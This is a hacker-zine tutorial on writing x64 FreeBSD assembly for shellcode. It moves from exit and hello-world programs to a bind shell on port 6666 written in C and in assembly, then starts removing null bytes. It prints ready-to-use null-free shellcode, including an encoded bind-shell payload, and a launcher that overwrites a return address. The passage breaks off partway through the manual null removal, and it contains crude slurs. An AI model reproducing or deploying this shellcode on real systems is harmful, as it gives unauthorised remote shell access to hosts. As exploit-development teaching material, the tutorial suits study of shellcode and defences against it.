|=-----------------=[ Writing Assembly on FreeBSD (x64)]=--------------=|
|=---------------------------------------------------------------------=|
|=------------------------entropy [at] phiral.net----------------------=|
|=---------------------------------------------------------------------=|
|=------------------------the devil made me do it----------------------=|
----[ Intro
I assume you know how to write in asm on x86 in AT&T syntax. I also
assume you will read or have read Jon Larimer's[1] SummerCon[2] slides
and Sys V ABI[3]. If you need an extremely easy intro to *remind* you of
what you have forgotten over the years of partying and excessive drinking
I would first say to read x64 Windows Debugging: Practical Foundations[4]
and Writing Assembly on OpenBSD (x86)[5] as we are going to do a very
similar example.
----[ _exit(0)
Start out with the most basic possible:
[entropy@phiral ~/code/fbsd_x64]$ man 2 _exit
...
void
_exit(int status);
...
_exit takes one param, the value to return. To get its syscall number
[entropy@phiral ~/code/fbsd_x64]$ cat /usr/src/sys/kern/syscalls.master |\
grep _exit
1 AUE_EXIT STD { void sys_exit(int rval); } exit \
Since everyone read all the required reading (...) we know to put the
syscall number of _exit into rax, and the first paramater into rdi, and
call kernel int $0x80.
Code looks like:
[entropy@phiral ~/code/fbsd_x64]$ cat exit.s
.section .text
.globl _start
_start:
nop
movq $1, %rax
movq $13, %rdi
int $0x80
Assemble, link and run.
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs exit.s -o exit.o
[entropy@phiral ~/code/fbsd_x64]$ ld exit.o -o exit
[entropy@phiral ~/code/fbsd_x64]$ ./exit
[entropy@phiral ~/code/fbsd_x64]$ echo $?
13
But have a look at these nasty ass honey badger opcodes:
[entropy@phiral ~/code/fbsd_x64]$ objdump -d exit
exit: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 48 c7 c0 01 00 00 00 mov $0x1,%rax
4000b8: 48 c7 c7 0d 00 00 00 mov $0xd,%rdi
4000bf: cd 80 int $0x80
GCC, and basically any assembler/linker will optimize it into something
like:
[entropy@phiral ~/code/fbsd_x64]$ cat exit.s
.section .text
.globl _start
_start:
nop
pushq $1; popq %rax
pushq $13; popq %rdi
int $0x80
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs exit.s -o exit.o
[entropy@phiral ~/code/fbsd_x64]$ ld exit.o -o exit
[entropy@phiral ~/code/fbsd_x64]$ objdump -d exit
exit: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 6a 01 pushq $0x1
4000b3: 58 pop %rax
4000b4: 6a 0d pushq $0xd
4000b6: 5f pop %rdi
4000b7: cd 80 int $0x80
Much nicer.
Add some defines to make the code easier to read and you get:
[entropy@phiral ~/code/fbsd_x64]$ cat exit.s
.section .rodata
.equ SYS_EXIT,1
.equ EXIT_RET,13
.equ KERNEL, 0x80
.section .text
.globl _start
_start:
nop
pushq $SYS_EXIT; popq %rax
pushq $EXIT_RET; popq %rdi
int $KERNEL
Boring.
----[ Hello World!
Same thing for this, see what params write() takes and find its syscall
number.
[entropy@phiral ~/code/fbsd_x64]$ man 2 write
...
ssize_t
write(int d, const void *buf, size_t nbytes);
...
Takes the d (file descriptor) to write to, which will be STDOUT (1),
pointer to some string, and the size of the string.
And the syscall number for write is...
[entropy@phiral ~/code/fbsd_x64]$ grep write \
/usr/src/sys/kern/syscalls.master
4 AUE_NULL STD { ssize_t write(int fd, const void *buf,
And we keep our _exit in there to exit when done. So put 4 in rax for the
write syscall, put 1 in rdi (first param), put address of string into rsi
(second param), and using our math skillz to count that "Hello, World!\n"
is 14 chars, so put 14 into rdx (third param).
[entropy@phiral ~/code/fbsd_x64]$ cat write.s
.section .rodata
.equ SYS_EXIT, 1
.equ SYS_WRITE, 4
.equ EXIT_RET, 13
.equ KERNEL, 0x80
.equ STDOUT, 1
.equ HELLO_LEN, 14
.section .data
hello:
.ascii "Hello, World!", "\n"
.section .text
.globl _start
_start:
nop
# write(1, *hello, 14)
pushq $SYS_WRITE; popq %rax # 4 (write syscall) into rax
pushq $STDOUT; popq %rdi # 1 (STDOUT) into rdi
pushq $hello; popq %rsi # address of hello into rsi
pushq $HELLO_LEN; popq %rdx # 14 (HELLO_LEN) into rdx
int $KERNEL # call kernel
pushq $SYS_EXIT; popq %rax # 1 (_exit syscall) into rax
pushq $EXIT_RET; popq %rdi # 13 (EXIT_RET) into rdi
int $KERNEL # call kernel
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs write.s -o write.o
[entropy@phiral ~/code/fbsd_x64]$ ld write.o -o write
[entropy@phiral ~/code/fbsd_x64]$ ./write
Hello, World!
[entropy@phiral ~/code/fbsd_x64]$ objdump -d write
write: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 6a 04 pushq $0x4
4000b3: 58 pop %rax
4000b4: 6a 01 pushq $0x1
4000b6: 5f pop %rdi
4000b7: 68 d0 00 50 00 pushq $0x5000d0
4000bc: 5e pop %rsi
4000bd: 6a 0e pushq $0xe
4000bf: 5a pop %rdx
4000c0: cd 80 int $0x80
4000c2: 6a 01 pushq $0x1
4000c4: 58 pop %rax
4000c5: 6a 0d pushq $0xd
4000c7: 5f pop %rdi
4000c8: cd 80 int $0x80
Since we are doing this for shellcode, we want to get rid of those
dirty whore nulls, which is the address $0x5000d0 (address of the
string). What we can do is push immediate values onto the stack, the
hex of 'Hello, World!\n', backwards. We have to pad it with 4 A's
which we will over write with \x0s since strlen('Hello, World!\n')
is != 16.
[entropy@phiral ~/code/fbsd_x64]$ cat write_leet.s
.section .rodata
.equ SYS_EXIT, 1
.equ SYS_WRITE, 4
.equ EXIT_RET, 13
.equ KERNEL, 0x80
.equ STDOUT, 1
.equ HELLO_LEN, 14
.section .text
.globl _start
_start:
nop
# write(1, *hello, 14)
pushq $SYS_WRITE; popq %rax # 4 (write syscall) into rax
pushq $STDOUT; popq %rdi # 1 (STDOUT) into rdi
movq $0xAAAA0a21646c726f, %rcx # put orld!\nAAAA into rcx
pushq %rcx # push it onto stack
movq $0x57202c6f6c6c6548, %rcx # put Hello, W into rcx
pushq %rcx # push it onto stack
# so here rsp is pointing to [Hello, W][orld\n!AAAA]
# we want to overwrite those A's with 0s so
xorq %rbx, %rbx # set rbx to 0
xorq %rcx, %rcx # set rcx to 0
movb $14, %cl # set cl to 14 (index into string
# to first A)
movw %bx, (%rsp, %rcx, 1) # write a word of 0000
movq %rsp, %rsi # put rsps address into rsi
# so here rsp is pointing to [Hello, W][orld\n!0000]
pushq $HELLO_LEN; popq %rdx # 14 (HELLO_LEN) into rdx
int $KERNEL # call kernel
pushq $SYS_EXIT; popq %rax # 1 (_exit syscall) into rax
pushq $EXIT_RET; popq %rdi # 13 (EXIT_RET) into rdi
int $KERNEL # call kernel
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs write_leet.s -o write_leet.o
[entropy@phiral ~/code/fbsd_x64]$ ld write_leet.o -o write_leet
[entropy@phiral ~/code/fbsd_x64]$ ./write_leet
Hello, World!
[entropy@phiral ~/code/fbsd_x64]$ objdump -d write_leet
write_leet: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 6a 04 pushq $0x4
4000b3: 58 pop %rax
4000b4: 6a 01 pushq $0x1
4000b6: 5f pop %rdi
4000b7: 48 b9 6f 72 6c 64 21 mov $0xaaaa0a21646c726f,%rcx
4000be: 0a aa aa
4000c1: 51 push %rcx
4000c2: 48 b9 48 65 6c 6c 6f mov $0x57202c6f6c6c6548,%rcx
4000c9: 2c 20 57
4000cc: 51 push %rcx
4000cd: 48 31 db xor %rbx,%rbx
4000d0: 48 31 c9 xor %rcx,%rcx
4000d3: b1 0e mov $0xe,%cl
4000d5: 66 89 1c 0c mov %bx,(%rsp,%rcx,1)
4000d9: 48 89 e6 mov %rsp,%rsi
4000dc: 6a 0e pushq $0xe
4000de: 5a pop %rdx
4000df: cd 80 int $0x80
4000e1: 6a 01 pushq $0x1
4000e3: 58 pop %rax
4000e4: 6a 0d pushq $0xd
4000e6: 5f pop %rdi
4000e7: cd 80 int $0x80
No nulls...
[entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh write_leet
\x90\x6a\x04\x58\x6a\x01\x5f\x48\xb9\x6f\x72
\x6c\x64\x21\x0a\xaa\xaa\x51\x48\xb9\x48\x65
\x6c\x6c\x6f\x2c\x20\x57\x51\x48\x31\xdb\x48
\x31\xc9\xb1\x0e\x66\x89\x1c\x0c\x48\x89\xe6
\x6a\x0e\x5a\xcd\x80\x6a\x01\x58\x6a\x0d\x5f
\xcd\x80
[entropy@phiral ~/code/fbsd_x64]$ cat sc.c
unsigned char sc[] = "\x90\x6a\x04\x58\x6a\x01\x5f\x48\xb9\x6f\x72"
"\x6c\x64\x21\x0a\xaa\xaa\x51\x48\xb9\x48\x65"
"\x6c\x6c\x6f\x2c\x20\x57\x51\x48\x31\xdb\x48"
"\x31\xc9\xb1\x0e\x66\x89\x1c\x0c\x48\x89\xe6"
"\x6a\x0e\x5a\xcd\x80\x6a\x01\x58\x6a\x0d\x5f"
"\xcd\x80";
void main(void) {
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)sc;
}
[entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:10: warning: cast from pointer to integer of different size
sc.c:7: warning: return type of 'main' is not 'int'
[entropy@phiral ~/code/fbsd_x64]$ ./sc
Hello, World!
ready to start poppin some boxes printing 'Hello, World!' ftw
----[ Retro Bindshell
For an example thats easy to understand do a old school bindshell.
[entropy@phiral ~/code/fbsd_x64]$ cat portbind.c
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#define STDIN 0
#define STDOUT 1
#define STDERR 2
#define PORT 6666
int
main (void) {
char *shell[2];
int listen_socket, accept_socket, len;
struct sockaddr_in s;
/* create a tcp socket */
listen_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
/* address family */
s.sin_family = AF_INET;
/* bind to all address on box */
s.sin_addr.s_addr = htonl(INADDR_ANY);
/* listen on the port */
s.sin_port = htons(PORT);
/* bind to port */
bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
/* listen for connects */
listen(listen_socket, 1);
len = sizeof(s);
/* accept a connect on listenign socket */
accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len);
/* dup stdin, out and err to the newly created socket */
dup2(accept_socket, STDIN);
dup2(accept_socket, STDOUT);
dup2(accept_socket, STDERR);
/* char **shell */
shell[0] = "/bin/sh";
shell[1] = NULL;
/* exec the shell */
execve(shell[0], shell, NULL);
/* never reach here, well hopefully */
_exit(0);
}
Listens on every ip on the box on port 6666.
[entropy@phiral ~/code/fbsd_x64]$ gcc portbind.c -o portbind
[entropy@phiral ~/code/fbsd_x64]$ ./portbind
maihem@sparky ~$ nc 172.16.233.85 6666
ls
apache2_shl
apache2_shl.o
apache2_shl.s
exit
exit.o
exit.s
fbsd_x64_encoder
fbsd_x64_encoder.o
fbsd_x64_encoder.s
get-sc.sh
ipv6_die
ipv6_die.o
ipv6_die.s
pb-opt.s
portbind
portbind.c
portbind2.c
sc
sc.c
write
write.o
write.s
write_leet
write_leet.o
write_leet.s
exit
Ok to start we need struct sockaddr since bind and accept both use it.
[entropy@phiral ~/code/fbsd_x64]$ grep 'struct sockaddr_in' -A7 -m1 \
/usr/include/netinet/in.h
struct sockaddr_in {
uint8_t sin_len;
sa_family_t sin_family;
in_port_t sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
uint8_t sin_len is obviously a byte
[entropy@phiral ~/code/fbsd_x64]$ grep sa_family /usr/include/sys/*.h
/usr/include/sys/_types.h:typedef __uint8_t __sa_family_t;
/usr/include/sys/socket.h:typedef __sa_family_t sa_family_t;
sa_family_t is a byte
[entropy@phiral ~/code/fbsd_x64]$ grep in_port_t \
/usr/include/sys/types.h
typedef __uint16_t in_port_t;
in_port_t is a word
[entropy@phiral ~/code/fbsd_x64]$ grep 'struct in_addr' -A2 -m1 \
/usr/include/netinet/in.h
struct in_addr {
in_addr_t s_addr;
};
[entropy@phiral ~/code/fbsd_x64]$ grep in_addr_t \
/usr/include/sys/types.h
typedef __uint32_t in_addr_t; /* base type for internet address
*/
and in_addr_t a long.
The whole struct then looks like this:
struct sockaddr_in {
uint8_t sin_len; /* 1 byte */
uint8_t sin_family; /* 1 byte */
uint16_t sin_port; /* 2 bytes */
uint32_t sin_addr; /* 4 bytes */
int8_t sin_zero[8]; /* 8 bytes */
};
Now we know sizeof(sockaddr_in) is 16 bytes. Let get the values of PF_INET,
SOCK_STREAM, IPPROTO_TCP, AF_INET and INADDR_ANY.
[entropy@phiral ~/code/fbsd_x64]$ grep PF_INET /usr/include/sys/socket.h
#define PF_INET AF_INET
[entropy@phiral ~/code/fbsd_x64]$ grep AF_INET /usr/include/sys/socket.h
#define AF_INET 2 /* internetwork: UDP, TCP, etc. */
[entropy@phiral ~/code/fbsd_x64]$ grep SOCK_STREAM \
/usr/include/sys/socket.h
#define SOCK_STREAM 1 /* stream socket */
[entropy@phiral ~/code/fbsd_x64]$ grep IPPROTO_TCP \
/usr/include/netinet/in.h
#define IPPROTO_TCP 6 /* tcp */
[entropy@phiral ~/code/fbsd_x64]$ grep INADDR_ANY \
/usr/include/netinet/in.h
#define INADDR_ANY (u_int32_t)0x00000000
So we have:
PF_INET = 2
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_TCP = 6
INADDR_ANY = 0
The htons (host to network short) just converts the byte order to
big-endian so just do that manually:
[entropy@phiral ~/code/fbsd_x64]$ printf "0x%x\n" 6666
0x1a0a
[entropy@phiral ~/code/fbsd_x64]$ printf "%d\n" 0x0a1a
2586
And of course STDIN is 0, STDOUT is 1 and STDERR is 2.
With this info we can rewrite the portbind2.c with our new info, we
need these for our asm as we wont have any includes and will be
calling syscalls directlly.
[entropy@phiral ~/code/fbsd_x64]$ cat portbind2.c
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
struct sockaddr_in {
uint8_t sin_len; /* 1 byte */
uint8_t sin_family; /* 1 byte */
uint16_t sin_port; /* 2 bytes */
uint32_t sin_addr; /* 4 bytes */
int8_t sin_zero[8]; /* 8 bytes */
};
int
main (void) {
char *shell[2];
int listen_socket, accept_socket, len;
struct sockaddr_in s;
/* create a tcp socket */
listen_socket = socket(2, 1, 6);
/* address family */
s.sin_family = 2;
/* bind to all address on box */
s.sin_addr = 0;
/* listen on the port */
s.sin_port = 2586;
/* bind to port */
bind(listen_socket, (struct sockaddr *)&s, 16);
/* listen for connects */
listen(listen_socket, 1);
len = 16;
/* accept a connect on listenign socket */
accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len);
/* dup stdin, out and err to the newly created socket */
dup2(accept_socket, 0);
dup2(accept_socket, 1);
dup2(accept_socket, 2);
/* char **shell */
shell[0] = "/bin/sh";
shell[1] = NULL;
/* exec the shell */
execve(shell[0], shell, NULL);
/* never reach here, well hopefully */
_exit(0);
}
[entropy@phiral ~/code/fbsd_x64]$ gcc portbind2.c -o portbind2
[entropy@phiral ~/code/fbsd_x64]$ ./portbind2
maihem@sparky ~$ nc 172.16.233.85 6666
uname -a
FreeBSD phiral 8.2-RELEASE FreeBSD 8.2-RELEASE #1: Sun Aug 21 16:43:40
EDT 2011
entropy@:/usr/src/sys/amd64/compile/DARKNESS amd64
exit
Now we need all the syscall numbers for are socket(), bind(),
listen(), accept(), dup2(), execve() and exit().
[entropy@phiral ~/code/fbsd_x64]$ for i in socket bind listen accept \
dup2 execve exit; do grep -m1 $i /usr/src/sys/kern/syscalls.master; \
done
97 AUE_SOCKET STD { int socket(int domain, int type, \
104 AUE_BIND STD { int bind(int s, caddr_t name, \
106 AUE_LISTEN STD { int listen(int s, int backlog); }
30 AUE_ACCEPT STD { int accept(int s, \
90 AUE_DUP2 STD { int dup2(u_int from, u_int to); }
59 AUE_EXECVE STD { int execve(char *fname, char **argv, \
1 AUE_EXIT STD { void sys_exit(int rval); } exit \
And get their prototypes (man 2 ):
int
socket(int domain, int type, int protocol);
int
bind(int s, const struct sockaddr *name, socklen_t namelen);
int
listen(int s, int backlog);
int
accept(int s, struct sockaddr * restrict addr,
socklen_t * restrict addrlen);
int
dup2(int oldd, int newd);
int
execve(const char *path, char *const argv[], char *const envp[]);
void
_exit(int status);
Start coding, in pieces.
[entropy@phiral ~/code/fbsd_x64]$ cat pb-opt1.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586
.section .data
sockaddr_in:
sin_len:
.byte 0
sin_family:
.byte 0
sin_port:
.word 0
sin_addr:
.long 0
sin_zero:
.long 0,0,0,0,0,0,0,0
listen_sock:
.long 0
accept_sock:
.long 0
socklen:
.long 0
shell:
.ascii "/bin/sh\0"
shelladdr:
.quad 0
.section .text
.globl _start
_start:
nop
# socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
pushq $SYS_SOCKET; popq %rax # SYS_SOCKET syscall number
# into rax
pushq $PF_INET; popq %rdi # PF_INET into rdi
pushq $SOCK_STREAM; popq %rsi # SOCK_STREAM into rsi
pushq $IPPROTO_TCP; popq %rdx # IPPROTO_TCP into rdx
int $KERN # call kernel
movl %eax, listen_sock # save return address in
# listen_sock
# _exit(0)
pushq $1; popq %rax
xorq %rdi, %rdi
int $KERN
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-opt1.s -o pb-opt1.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-opt1.o -o pb-opt1
[entropy@phiral ~/code/fbsd_x64]$ ktrace ./pb-opt1
[entropy@phiral ~/code/fbsd_x64]$ kdump
12599 ktrace RET ktrace 0
12599 ktrace CALL execve(0x7fffffffec67,0x7fffffffe9d8,0x7fffffffe9e8)
12599 ktrace NAMI "./pb-opt1"
12599 pb-opt1 RET execve 0
12599 pb-opt1 CALL socket(PF_INET,SOCK_STREAM,IPPROTO_TCP)
12599 pb-opt1 RET socket 3
12599 pb-opt1 CALL exit(0)
socket(PF_INET,SOCK_STREAM,IPPROTO_TCP) call looks fine.
[entropy@phiral ~/code/fbsd_x64]$ gdb -q pb-opt1
(gdb) disas _start
Dump of assembler code for function _start:
0x00000000004000b0 <_start+0>: nop
0x00000000004000b1 <_start+1>: pushq $0x61
0x00000000004000b3 <_start+3>: pop %rax
0x00000000004000b4 <_start+4>: pushq $0x2
0x00000000004000b6 <_start+6>: pop %rdi
0x00000000004000b7 <_start+7>: pushq $0x1
0x00000000004000b9 <_start+9>: pop %rsi
0x00000000004000ba <_start+10>: pushq $0x6
0x00000000004000bc <_start+12>: pop %rdx
0x00000000004000bd <_start+13>: int $0x80
0x00000000004000bf <_start+15>: mov %eax,0x5000f8
0x00000000004000c6 <_start+22>: pushq $0x1
0x00000000004000c8 <_start+24>: pop %rax
0x00000000004000c9 <_start+25>: xor %rdi,%rdi
0x00000000004000cc <_start+28>: int $0x80
End of assembler dump.
(gdb) b *_start+15
Breakpoint 1 at 0x4000bf: file pb-opt1.s, line 55.
(gdb) r
Starting program: /home/entropy/code/fbsd_x64/pb-opt1
Breakpoint 1, _start () at pb-opt1.s:55
55 movl %eax, listen_sock # save return
address in listen_sock
Current language: auto; currently asm
(gdb) s
58 pushq $1; popq %rax
(gdb) p $rax
$1 = 7
(gdb) x/d &listen_sock
0x5000f8 : 7
(gdb) c
Continuing.
Program exited normally.
(gdb) q
The rest follows the same patten so the final code is here:
[entropy@phiral ~/code/fbsd_x64]$ cat pb-opt-final.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586
.section .data
sockaddr_in:
sin_len:
.byte 0
sin_family:
.byte 0
sin_port:
.word 0
sin_addr:
.long 0
sin_zero:
.long 0,0,0,0,0,0,0,0
listen_sock:
.long 0
accept_sock:
.long 0
socklen:
.long 0
shell:
.ascii "/bin/sh\0"
shelladdr:
.quad 0
.section .text
.globl _start
_start:
nop
# socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
pushq $SYS_SOCKET; popq %rax
pushq $PF_INET; popq %rdi
pushq $SOCK_STREAM; popq %rsi
pushq $IPPROTO_TCP; popq %rdx
int $KERN
movl %eax, listen_sock
# build the sockaddr_in
movl $AF_INET, sin_family
movl $INADDR_ANY, sin_addr
movl $PORT, sin_port
# bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
pushq $SYS_BIND; popq %rax
pushq listen_sock; pop %rdi
leaq sockaddr_in, %rsi
pushq $SOCKADDR_IN_SIZE; popq %rdx
int $KERN
# listen(listen_socket, 1)
pushq $SYS_LISTEN; popq %rax
pushq listen_sock; popq %rdi
pushq $1; popq %rsi
int $KERN
# accept_socket = accept(listen_socket, (struct sockaddr *)&s, &len);
# we already build the sockaddr_in above
movl $SOCKADDR_IN_SIZE, socklen
pushq $SYS_ACCEPT; popq %rax
pushq listen_sock; popq %rdi
leaq sockaddr_in, %rsi
leaq socklen, %rdx
int $KERN
movl %eax, accept_sock
# dup2 these rich whores
# dup2(accept_socket, 0);
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDIN; popq %rsi
int $KERN
# dup2(accept_socket, 1);
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDOUT; popq %rsi
int $KERN
# dup2(accept_socket, 2);
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDERR; popq %rsi
int $KERN
# execve(shell[0], shell, NULL);
pushq $SYS_EXECVE; popq %rax
leaq shell, %rdi
leaq shelladdr, %rsi
xorq %rdx, %rdx
int $KERN
# _exit(0)
pushq $1; popq %rax
xorq %rdi, %rdi
int $KERN
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-opt-final.s -o \
pb-opt-final.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-opt-final.o -o pb-opt-final
[entropy@phiral ~/code/fbsd_x64]$ ./pb-opt-final
maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit
----[ Null removal
[entropy@phiral ~/code/fbsd_x64]$ objdump -d pb-opt-final
pb-opt-final: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 6a 61 pushq $0x61
4000b3: 58 pop %rax
4000b4: 6a 02 pushq $0x2
4000b6: 5f pop %rdi
4000b7: 6a 01 pushq $0x1
4000b9: 5e pop %rsi
4000ba: 6a 06 pushq $0x6
4000bc: 5a pop %rdx
4000bd: cd 80 int $0x80
4000bf: 89 04 25 b8 01 50 00 mov %eax,0x5001b8
4000c6: c7 04 25 91 01 50 00 movl $0x2,0x500191
4000cd: 02 00 00 00
4000d1: c7 04 25 94 01 50 00 movl $0x0,0x500194
4000d8: 00 00 00 00
4000dc: c7 04 25 92 01 50 00 movl $0xa1a,0x500192
4000e3: 1a 0a 00 00
4000e7: 6a 68 pushq $0x68
4000e9: 58 pop %rax
4000ea: ff 34 25 b8 01 50 00 pushq 0x5001b8
4000f1: 5f pop %rdi
4000f2: 48 8d 34 25 90 01 50 lea 0x500190,%rsi
4000f9: 00
4000fa: 6a 10 pushq $0x10
4000fc: 5a pop %rdx
4000fd: cd 80 int $0x80
4000ff: 6a 6a pushq $0x6a
400101: 58 pop %rax
400102: ff 34 25 b8 01 50 00 pushq 0x5001b8
400109: 5f pop %rdi
40010a: 6a 01 pushq $0x1
40010c: 5e pop %rsi
40010d: cd 80 int $0x80
40010f: c7 04 25 c0 01 50 00 movl $0x10,0x5001c0
400116: 10 00 00 00
40011a: 6a 1e pushq $0x1e
40011c: 58 pop %rax
40011d: ff 34 25 b8 01 50 00 pushq 0x5001b8
400124: 5f pop %rdi
400125: 48 8d 34 25 90 01 50 lea 0x500190,%rsi
40012c: 00
40012d: 48 8d 14 25 c0 01 50 lea 0x5001c0,%rdx
400134: 00
400135: cd 80 int $0x80
400137: 89 04 25 bc 01 50 00 mov %eax,0x5001bc
40013e: 6a 5a pushq $0x5a
400140: 58 pop %rax
400141: 8b 3c 25 bc 01 50 00 mov 0x5001bc,%edi
400148: 6a 00 pushq $0x0
40014a: 5e pop %rsi
40014b: cd 80 int $0x80
40014d: 6a 5a pushq $0x5a
40014f: 58 pop %rax
400150: 8b 3c 25 bc 01 50 00 mov 0x5001bc,%edi
400157: 6a 01 pushq $0x1
400159: 5e pop %rsi
40015a: cd 80 int $0x80
40015c: 6a 5a pushq $0x5a
40015e: 58 pop %rax
40015f: 8b 3c 25 bc 01 50 00 mov 0x5001bc,%edi
400166: 6a 02 pushq $0x2
400168: 5e pop %rsi
400169: cd 80 int $0x80
40016b: 6a 3b pushq $0x3b
40016d: 58 pop %rax
40016e: 48 8d 3c 25 c4 01 50 lea 0x5001c4,%rdi
400175: 00
400176: 48 8d 34 25 cc 01 50 lea 0x5001cc,%rsi
40017d: 00
40017e: 48 31 d2 xor %rdx,%rdx
400181: cd 80 int $0x80
400183: 6a 01 pushq $0x1
400185: 58 pop %rax
400186: 48 31 ff xor %rdi,%rdi
400189: cd 80 int $0x80
This as a fuck load of nulls in it to get rid of. You can either use
some super 31337 encoder like...
[entropy@phiral ~/code/fbsd_x64]$ ./fbsd_x64_encoder pb-opt-final
[*] Pass 0 ..
[*] Pass 1 ..................
[*] Pass 2 ....
[*] Pass 3 ........
[*] Pass 4 .....
[*] Pass 5 ............
[*] Shellcode:
\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd
\x80\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52
\x48\x31\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04
\x0c\x1a\x0a\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10
\x5a\xcd\x80\x6a\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80
\x6a\x1e\x58\x41\x50\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10
\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31\xc9\x41\x89\xc1\x6a
\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80\x6a\x5a\x58\x44
\x89\xcf\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a
\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6
\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7
\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2
\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80
... or do it the manual way.
All those addreses in the .data section are the problem, so we will
just do it all on the stack and in registers. One block at a time.
/**** socket ****/
pushq $SYS_SOCKET; popq %rax
pushq $PF_INET; popq %rdi
pushq $SOCK_STREAM; popq %rsi
pushq $IPPROTO_TCP; popq %rdx
int $KERN
movl %eax, listen_sock
becomes
pushq $SYS_SOCKET; popq %rax
pushq $PF_INET; popq %rdi
pushq $SOCK_STREAM; popq %rsi
pushq $IPPROTO_TCP; popq %rdx
int $KERN
xorq %r8, %r8 # clear %r8
movl %eax, %r8d # store listen_sock int %r8d
/**** bind ****/
# builds sockaddr_in
movl $AF_INET, sin_family
movl $INADDR_ANY, sin_addr
movl $PORT, sin_port
# bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
pushq $SYS_BIND; popq %rax
pushq listen_sock; pop %rdi
leaq sockaddr_in, %rsi
pushq $SOCKADDR_IN_SIZE; popq %rdx
int $KERN
becomes
We build the whole sockaddr_in on the stack, only thing we need
is the sin_family which is 1 byte off from the start, and the port
which is two bytes off from the start since everything else is zeroed.
# builds sockaddr_in on the stack
xorq %r10, %r10
pushq %r10
pushq %r10
xorq %rcx, %rcx
movb $1, %cl
movb $AF_INET, (%rsp, %rcx, 1) # 1 byte off from start
movb $2, %cl
movw $PORT, (%rsp, %rcx, 1) # 2 bytes from start
# bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
pushq $SYS_BIND; popq %rax
pushq %r8; pop %rdi
movq %rsp, %rsi
pushq $SOCKADDR_IN_SIZE; popq %rdx
int $KERN
/**** listen ****/
# listen(listen_socket, 1)
pushq $SYS_LISTEN; popq %rax
pushq listen_sock; popq %rdi
pushq $1; popq %rsi
int $KERN
becomes
# listen(listen_socket, 1)
pushq $SYS_LISTEN; popq %rax
pushq %r8; popq %rdi # listen_sock is %r8 now
pushq $1; popq %rsi
int $KERN
/**** accept ****/
movl $SOCKADDR_IN_SIZE, socklen
pushq $SYS_ACCEPT; popq %rax
pushq listen_sock; popq %rdi
leaq sockaddr_in, %rsi
leaq socklen, %rdx
int $KERN
movl %eax, accept_sock
becomes
pushq $SYS_ACCEPT; popq %rax
pushq %r8; popq %rdi # %r8 is listen_sock
movq %rsp, %rsi
xorq %rcx, %rcx
movb $16, %cl # use cl - no \x0s
pushq %rcx
movq %rsp, %rdx
int $KERN
popq %rcx
